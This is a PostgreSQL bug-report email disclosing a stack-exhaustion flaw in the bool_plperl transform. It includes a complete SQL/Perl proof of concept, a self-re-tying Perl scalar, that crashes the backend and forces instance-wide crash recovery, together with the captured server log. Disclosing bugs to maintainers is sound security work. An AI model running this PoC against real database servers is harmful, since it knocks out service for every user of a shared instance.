Received: from malur.postgresql.org ([217.196.149.56]) by arkaria.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wqxAR-0003hn-1B for pgsql-bugs@arkaria.postgresql.org; Mon, 03 Aug 2026 18:13:39 +0000 Received: from localhost ([127.0.0.1] helo=malur.postgresql.org) by malur.postgresql.org with esmtp (Exim 4.96) (envelope-from ) id 1wqx9P-0019Qo-1g for pgsql-bugs@arkaria.postgresql.org; Mon, 03 Aug 2026 18:12:35 +0000 Received: from magus.postgresql.org ([2a02:c0:301:0:ffff::29]) by malur.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wqmZs-004WON-0l for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 06:55:12 +0000 Received: from mahout.postgresql.org ([2001:4800:3e1:1::227]) by magus.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.98.2) (envelope-from ) id 1wqmZo-00000001jVu-1BPd for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 06:55:11 +0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=postgresql.org; s=20171124; h=Message-ID:Date:Reply-To:Cc:From:To:Subject: Content-Transfer-Encoding:MIME-Version:Content-Type:Sender:Content-ID: Content-Description:In-Reply-To:References; bh=WUCmGl2gbtXogO+kuxktMXr/3UBteuEJ76283YLJC6o=; b=mFyODVluIv/ZV4/HOOPe/EJaH+ kV2kEuhwFYi1kv4XOVlhcWXnB2SaUYJYtXX8TFM+m92/lkfL3HVL02GXMLkRnFAwC2Vy1kVZxXBPm okfFmVe8q4JGQP8QmrAVibbODUEkIFoPwwUy4uZ547P7gW+cud7A0Xq/8qhTF+H6cFbXGzBX1b00L u2hC224hIWZoJW9KSyWL5YHyjJQmrZ29ZMLic1UDabP6g6G27GT0m12mcWBc9BxlAIaF6vmfr6PtJ CXKEkuZmfScXtb7k5uK/Ku48QIT9oc7EVwT8fpvQD7T217gMWQ98lyErEnlL66RfzDnmxqub+kFAL rE+5LBnA==; Received: from wrigleys.postgresql.org ([2a02:16a8:dc51::60]) by mahout.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wqmZk-000rcz-1f for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 06:55:06 +0000 Received: from localhost ([127.0.0.1] helo=wrigleys.postgresql.org) by wrigleys.postgresql.org with esmtp (Exim 4.98.2) (envelope-from ) id 1wqmZj-0000000CC9p-3GvT for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 06:55:03 +0000 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Subject: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend To: pgsql-bugs@lists.postgresql.org From: PG Bug reporting form Cc: 1217816127@qq.com Reply-To: 1217816127@qq.com, pgsql-bugs@lists.postgresql.org Date: Mon, 03 Aug 2026 06:54:06 +0000 Message-ID: <19601-92d59d2242c00966@postgresql.org> X-Auto-Response-Suppress: All Auto-Submitted: auto-generated List-Id: List-Help: List-Subscribe: List-Post: List-Owner: List-Archive: Archived-At: Precedence: bulk The following bug has been logged on the website: Bug reference: 19601 Logged by: Yuelin Wang Email address: 1217816127@qq.com PostgreSQL version: 19beta2 Operating system: Linux (Ubuntu 24.04, x86_64) Description: =20 ### Summary plperl_to_bool() in bool_plperl.c calls SvTRUE(in) directly on the SV returned by a plperl function declared to TRANSFORM FOR TYPE bool, with no recursion depth limit. A plperl function can return a tied scalar whose FETCH handler ties and returns a brand new tied scalar every time it is dereferenced, causing Perl's magic-get resolution inside SvTRUE to recurse without bound and exhaust the C stack. CWE: CWE-674. Severity: Medium. ### PoC ```sql CREATE EXTENSION plperl; CREATE EXTENSION bool_plperl; CREATE FUNCTION perl_tie_recurse() RETURNS bool TRANSFORM FOR TYPE bool LANGUAGE plperl AS $perl$ package RecurTie; our $depth =3D 0; sub TIESCALAR { return bless {}, shift; } sub FETCH { $depth++; my $x; tie $x, 'RecurTie'; return $x; } package main; tie my $y, 'RecurTie'; return $y; $perl$; SELECT perl_tie_recurse(); ``` ### Result Real captured output from the independent verification run: ``` psql:/tmp/poc.sql:13: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request. psql:/tmp/poc.sql:13: error: connection to server was lost PSQL EXIT: 2 Server log: LOG: client backend (PID 382422) was terminated by signal 11: Segmentation fault DETAIL: Failed process was running: SELECT perl_tie_recurse(); LOG: terminating any other active server processes LOG: all server processes terminated; reinitializing LOG: database system was interrupted; last known up at 2026-08-01 17:22:47 +08 LOG: database system was not properly shut down; automatic recovery in progress LOG: redo starts at 0/01790190 LOG: redo done at 0/017AEA10 LOG: checkpoint starting: end-of-recovery fast wait LOG: checkpoint complete: end-of-recovery fast wait LOG: database system is ready to accept connections ``` ### Impact Any database role with CREATE privilege and USAGE on the trusted plperl language can define a bool_plperl transform function that crashes the serving backend with SIGSEGV, forcing the postmaster to terminate and restart every other concurrent backend on the instance and perform crash recovery.